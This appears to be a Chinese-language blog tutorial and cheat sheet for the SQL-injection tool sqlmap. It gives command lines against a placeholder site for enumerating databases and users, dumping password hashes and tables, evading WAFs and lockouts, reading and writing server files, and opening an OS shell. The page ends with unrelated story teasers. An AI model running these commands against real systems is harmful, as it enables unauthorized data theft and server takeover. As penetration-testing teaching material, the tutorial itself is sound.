sqlmap使用

sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。

SQLMAP使用

基本参数

is-dba          当前用户权限
dbs             所有数据库
current-db      当前数据库
users               所有用户
current-user        当前用户
--tables            
--columns
--dump
--dump-all
--level
--passwords         枚举所有用户密码
--roles             列出数据库dbajuese
--privileges        列出数据库dba权限

-D
-T
-C
--dbms=mysql oracle mssql   指定数据库
--schema --batch --exclude-sysdbs  查看数据库的架构 (比较大的一个命令)
  • 使用示例:
sqlmap -u http://example.com?id=1
# 显示灰色的,可能存在注入
# 注入级别

# 判断是不是dba权限
sqlmap -u http://example.com?id=1 --is-dba

# 列所有的数据库
sqlmap -u http://example.com?id=1 --dbs   # 一般能列的话,就是管理员了

# 看当前用户
sqlmap -u http://example.com?id=1 --current-user

# 查看当前数据库
sqlmap -u http://example.com?id=1 --current-db   # 假设结果为test

# 查看test数据库的表
sqlmap -u http://example.com?id=1 --tables -D sc

# 查看test数据库中sc表的列
sqlmap -u http://example.com?id=1 --columns -T sc -D test

# 把sc表中的数据转储
sqlmap -u http://example.com?id=1 --dump -T sc -D test
# 或者只转储某几列
sqlmap -u http://example.com?id=1 --dump -C user,passwd -T sc -D test

# access,mysql<5.0,直接爆表就可以
  • 参数使用
# 查看有哪些用户       (mysql可以根据ip地址设立独立的密码)
sqlmap -u http://example.com?id=1 --users

# 查看用户密码
sqlmap -u http://example.com?id=1 --passwords
  • 探测等级

    共有五个等级;级别高,会调用更多的payloads;级别2可以探测cookie;

    显示调试信息,有7个级别

    sqlmap -u http://example.com?id=1 --users -v 3 # 显示用到的payload

  • 风险等级

    --risk,默认为1;

    level 3 --risk 3

  • 获取目标

    -u        url?id=1
    -m        文本          扫描多个目标
    -r    请求包         使用bp抓包,保存为文本;   
    -g    google      sqlmap -g "inurl:\".php?id=1\""
    
    --data  post要提交的数据,通过它提交
      sqlmap -u http://example.com --data="id=1"
    --param-del   参数拆分字符
      sqlmap -u http://example.com --data="user=1;passwd=1" --param-del=";"
    --cookie  cookie注入
      sqlmap -u http://example.com/index.php --cookie "id=9" --table --level 2
      
    --referer, --headers, --proxy
      --referer:   把发的包设为后面的地址
          sqlmap -u http://example.com/index.php?id=1 --referer "http://baidu.com"
      --header/-H
          sqlmap -u http://example.com/index.php?id=1 --headers "client-ip:
          127.0.0.1"
      --proxy     加代理,比如设置bp为代理;数据包先发给代理,代理再发出去
          sqlmap -u http://example.com/index.php?id=1 --dbs --proxy 
          "http:127.0.0.1:8080"
    
  • 时间控制

    --delay           # 是定请求间的延迟,默认无延迟; 一般设为0.5s e.g.--delay=0.5
    --timeout     # 设定请求多久之后为超时
    --retries     # 超时后,重新尝试连接的次数,默认为3
    
  • 多次错误触发屏蔽的绕过

    # 有的web程序,当你多次访问错误时,会屏蔽你之后的请求;
    # 如果使用sqlmap进行探测或注入时触发这个策略,之后的就无法进行
    
    # 绕过策略方法
    --safe-url
    --safe-freq       # 更常用一些
    
  • 指定注入点

    # 有多个参数,如果已经知道某个参数有注入,可以使用-p指定这个参数
    sqlmap -u http://example.com?index.asp?id=1&sid=12 -p "sid=12"
    
  • 添加字符闭合

    # 例如对于 "select * from flag where id='$id'",需要对'进行闭合
    # 可以使用--prefix,--suffix选项
    sqlmap -u http://example.com?index.asp?id=1 --prefix "'" --suffix "or '1"
    
  • 选择探测方法

    # sqlmap有很多探测方式,默认是探测所有的,可使用--technique来选择指定的
    B: Boolean-based blind sql injection  布尔盲注
    E: Error-based sql injection          报错注入
    U: union query sql injection          联合查询注入
    S: Stacked queries sql injection      多语句查询注入
    T: Time-based blind sql injection     时间延迟注入
    
    sqlmap -u http://example.com?index.asp?id=1 --technique=BEU
    
  • 判断列数

    --union-cols=50       探测50列
    --union-char=1        填充列的字符,比如50个1;默认是NULL
    
  • 二阶注入

    --seconde-order
    sqlmap -u http://example.com?index.asp --second-order http://example.com?index1.asp
    
--dump-all      # 脱库,获取所有数据库表的内容
--exclude-sysdbs    # 只获取用户数据库的表

--search,-C,-T,-D   # 搜索特定的表名/列名/db名

--udf-inject, --shared-lib  # udf-用户自定义函数

-s  # 保存http日志;生成SQLlite文件
-t  # 保存
sqlmap -u http://example.com?index.asp?id=1 --flush-session -t c:/1.txt

--batch # 默认,不需用户交互
--charset=utf-8 # 指定编码,不用的话会自动识别
--hex       # 十六进制显示

--flush-session # 清除缓存文件

--output-dir    # 指定保存路径

--smart     # 进行聪明的探测,更快一点
--mobile    # 有时服务器只接受移动端访问,假装自己是手机

# 探测waf(了解即可)
--identify-waf  # 识别用了什么waf,方便绕过
--check-waf     # 探测是不是有waf
  • 注册表操作

    # 注册表尽量不要乱碰
    --reg-add --reg-key="xxxxx"
    
  • 暴力破解表名

    # /sqlmap/txt,里面存有一些字典;也可以自己添加;
    --common-tables -D tables
    
  • post注入

    sqlmap -u http://example.com?index.asp -p id
    sqlmap -u http://example.com?index.asp --forms
    sqlmap -u http://example.com?index.asp --data "id=1"
    
  • 搜索框注入

    sqlmap -r search-test.txt
    
  • 伪静态注入

    # 一般用*指定注入点
    sqlmap -u http://example.com?index.asp/view/id/40*.html
    
  • 延迟注入(重要)

    --time-sec
    sqlmap -u http://example.com?index.asp?id=1 --time-sec=5
    
  • base64编码注入

    sqlmap -u http://example.com?index.asp?id=1 --tamper base64encode.py -dbs
    
  • 执行sql语句

    --sql-query="select @@version;"
    --sql-shell       # 进入shell,交互式执行; only select
    
  • 文件读写

    # 从dbserver读取文件;一般root才有这个权限
    sqlmap -u http://example.com?index.asp?id=1 --file-read="c:\php\1.php"
    
    # 文件上传 --file-write(本地文件),--file-dest(目标绝对路径)
    
  • 命令执行

    --os-cmd, --os-shell

bp、sqlmap、awvs、nmap、msf、hydra

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容